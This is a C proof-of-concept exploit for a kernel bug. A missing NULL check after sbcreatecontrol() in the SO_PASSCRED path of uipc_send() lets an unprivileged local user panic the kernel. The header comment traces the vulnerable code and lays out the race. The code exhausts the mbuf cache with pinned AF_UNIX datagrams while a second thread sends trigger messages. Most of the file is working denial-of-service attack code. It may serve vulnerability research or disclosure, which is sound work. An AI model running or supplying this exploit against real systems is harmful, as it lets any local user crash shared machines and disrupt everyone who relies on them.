/*
 * DF-0011 PoC - missing NULL check on sbcreatecontrol() in the SO_PASSCRED
 * synthesis path of uipc_send() -> kernel NULL-deref panic (local DoS).
 *
 * VERIFIED PATH (sys/kern/uipc_usrreq.c):
 *   680  if (so2->so_options & SO_PASSCRED) {
 *   683      struct cmsgcred cred;                  (uninit - see DF-0010)
 *   694      if (ncon == NULL) {
 *   695          ncon = sbcreatecontrol(&cred, sizeof(cred), SCM_CREDS,
 *   696                          SOL_SOCKET);        (may return NULL)
 *   697          unp_internalize(ncon, msg->send.nm_td);   (UNCHECKED)
 *   698          *mp = ncon;
 *   699      }
 *
 * sbcreatecontrol() (uipc_sockbuf.c:585-604) returns NULL when its
 * m_getl(...,M_NOWAIT,MT_CONTROL,0,NULL) fails. MT_CONTROL mbufs come from
 * the PLAIN "mbuf" objcache (uipc_mbuf.c:798, nmbufs ~ 72904 here).
 *
 * unp_internalize(NULL) at uipc_usrreq.c:1706 does
 *   cm = mtod(control, struct cmsghdr *) == load of m_data from a NULL mbuf
 * where offsetof(struct m_hdr, mh_data) == 0x10 (mh_next[8] + mh_nextpkt[8]
 * then mh_data, sys/sys/mbuf.h:79-90). => page fault at vaddr 0x10 in kernel
 * mode => panic, e.g.
 *     Stopped at unp_internalize.isra.12+0x11:  movq 0x10(%rdi),%rbx
 *     (fault virtual address = 0x10, %rdi == 0 == NULL control)
 *
 * TRIGGER STRATEGY (concurrent ramp + fire):
 *   Each AF_UNIX SOCK_DGRAM datagram pinned in a receiver buffer accounts for
 *   2 plain mbufs (1 MT_CONTROL control + 1 MT_SONAME source sockaddr from
 *   ssb_appendaddr) and 1 pkthdr mbuf (the MT_DATA payload). Pinned ratio is
 *   therefore 2 plain : 1 pkthdr. Exhausting the ~72904-deep plain cache pins
 *   only ~36500 pkthdr, leaving the pkthdr cache ~half full.
 *
 *   The pinner thread ramps the pinned count up; the trigger thread fires
 *   no-control SO_PASSCRED sends continuously. While plain mbufs remain, the
 *   trigger sends succeed (sbcreatecontrol allocates fine). At the instant the
 *   plain cache is exhausted (but the pkthdr cache still has room), the next
 *   trigger send's data pkthdr mbuf allocates (M_WAITOK in sosend) and
 *   execution proceeds into uipc_send's SO_PASSCRED block, where
 *   sbcreatecontrol() -> m_get(M_NOWAIT, MT_CONTROL) FAILS -> NULL ->
 *   unp_internalize(NULL) -> panic at vaddr 0x10. Running both concurrently
 *   catches that brief crossover window deterministically, instead of letting
 *   the pinner overshoot into a full memory-pressure wedge before firing.
 *
 * Build:  cc -o nopasscred_panic nopasscred_panic.c -lpthread
 * Run as UNPRIVILEGED user:  ./nopasscred_panic
 *
 * Expected (bug present): kernel panic captured on the serial console:
 *     Warning: objcache(mbuf) exhausted on cpuN!
 *     Fatal trap 12: page fault while in kernel mode
 *     fault virtual address = 0x10
 *     Stopped at      unp_internalize.isra.12+0x11:   movq    0x10(%rdi),%rbx
 * On a patched kernel (NULL check after sbcreatecontrol) the trigger send
 * returns ENOBUFS instead and the program prints "no panic (patched)".
 */

#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define MAXBUF		(512 * 1024)		/* == kern.ipc.maxsockbuf */
#define MAXPAIRS	8192

/* shared trigger socketpair (receiver has SO_PASSCRED) */
static int g_trig[2];
static volatile int g_stop = 0;

static void *
trigger_thread(void *arg)
{
	char rb[16];
	long fired = 0, enobufs = 0;
	while (!g_stop) {
		/* no control msg -> kernel synthesizes SCM_CREDS via the
		 * vulnerable sbcreatecontrol() path. Blocking send so the
		 * data pkthdr mbuf is allocated M_WAITOK (succeeds while the
		 * pkthdr cache has room) and execution reaches uipc_send. */
		ssize_t r = send(g_trig[1], "x", 1, 0);
		if (r == 1) {
			fired++;
			recv(g_trig[0], rb, sizeof(rb), MSG_DONTWAIT);
		} else if (errno == ENOBUFS || errno == EAGAIN ||
			   errno == EWOULDBLOCK) {
			enobufs++;
		}
	}
	fprintf(stderr, "[trigger] fired=%ld enobufs=%ld (no panic this "
			"instant; plain cache not exhausted at a trigger send)\n",
	        fired, enobufs);
	return NULL;
}

int
main(void)
{
	char cmsgbuf[CMSG_SPACE(sizeof(struct cmsgcred))];
	struct cmsghdr *cm;
	struct iovec iov;
	struct msghdr mh;
	int i, on = 1, npairs = 0;
	long total = 0;
	pthread_t ttid;

	cm = (struct cmsghdr *)cmsgbuf;
	cm->cmsg_level = SOL_SOCKET;
	cm->cmsg_type = SCM_CREDS;			/* AF_UNIX-valid; pins MT_CONTROL */
	cm->cmsg_len = CMSG_LEN(0);
	memset(&mh, 0, sizeof(mh));
	iov.iov_base = (char *)"x";
	iov.iov_len = 1;
	mh.msg_iov = &iov;
	mh.msg_iovlen = 1;
	mh.msg_control = cmsgbuf;
	mh.msg_controllen = CMSG_LEN(0);

	/* set up the SO_PASSCRED trigger pair */
	if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, g_trig) != 0) {
		perror("socketpair trig"); return 1;
	}
	setsockopt(g_trig[0], SOL_SOCKET, SO_PASSCRED, &on, sizeof(on));

	/* start firing triggers concurrently with the ramp */
	pthread_create(&ttid, NULL, trigger_thread, NULL);

	fprintf(stderr, "[*] concurrent ramp+fire: pinning plain mbufs while "
			"trigger thread sends...\n");

	static int held[MAXPAIRS][2];
	for (npairs = 0; npairs < MAXPAIRS && !g_stop; npairs++) {
		int s[2];
		int bs = MAXBUF;
		if (socketpair(AF_LOCAL, SOCK_DGRAM, 0, s) != 0)
			break;
		setsockopt(s[0], SOL_SOCKET, SO_RCVBUF, &bs, sizeof(bs));
		setsockopt(s[1], SOL_SOCKET, SO_SNDBUF, &bs, sizeof(bs));
		long per = 0;
		for (;;) {
			ssize_t r = sendmsg(s[1], &mh, MSG_DONTWAIT);
			if (r > 0) { per++; total++; }
			else break;
		}
		held[npairs][0] = s[0];
		held[npairs][1] = s[1];
		if ((npairs % 8) == 0)
			fprintf(stderr, "[*] %d pairs, %ld dgrams pinned\n",
			        npairs + 1, total);
		/* once a brand-new empty pair cannot accept even one datagram,
		 * the plain cache is exhausted: stop pinning and let the
		 * concurrent trigger fire into the exhausted cache. */
		if (per == 0) {
			fprintf(stderr, "[*] plain cache exhausted at npairs=%d "
					"total=%ld; trigger thread should now panic\n",
			        npairs + 1, total);
			break;
		}
	}

	/* keep the pinned mbufs held and let the trigger thread keep firing */
	fprintf(stderr, "[*] holding %ld pinned dgrams; waiting for trigger "
	        "to hit the NULL path (panic)...\n", total);
	for (i = 0; i < 60 && !g_stop; i++)
		sleep(1);

	g_stop = 1;
	pthread_join(ttid, NULL);
	fprintf(stderr, "[*] no panic observed this run (race not won; "
			"retry, or kernel is patched)\n");
	return 2;
}
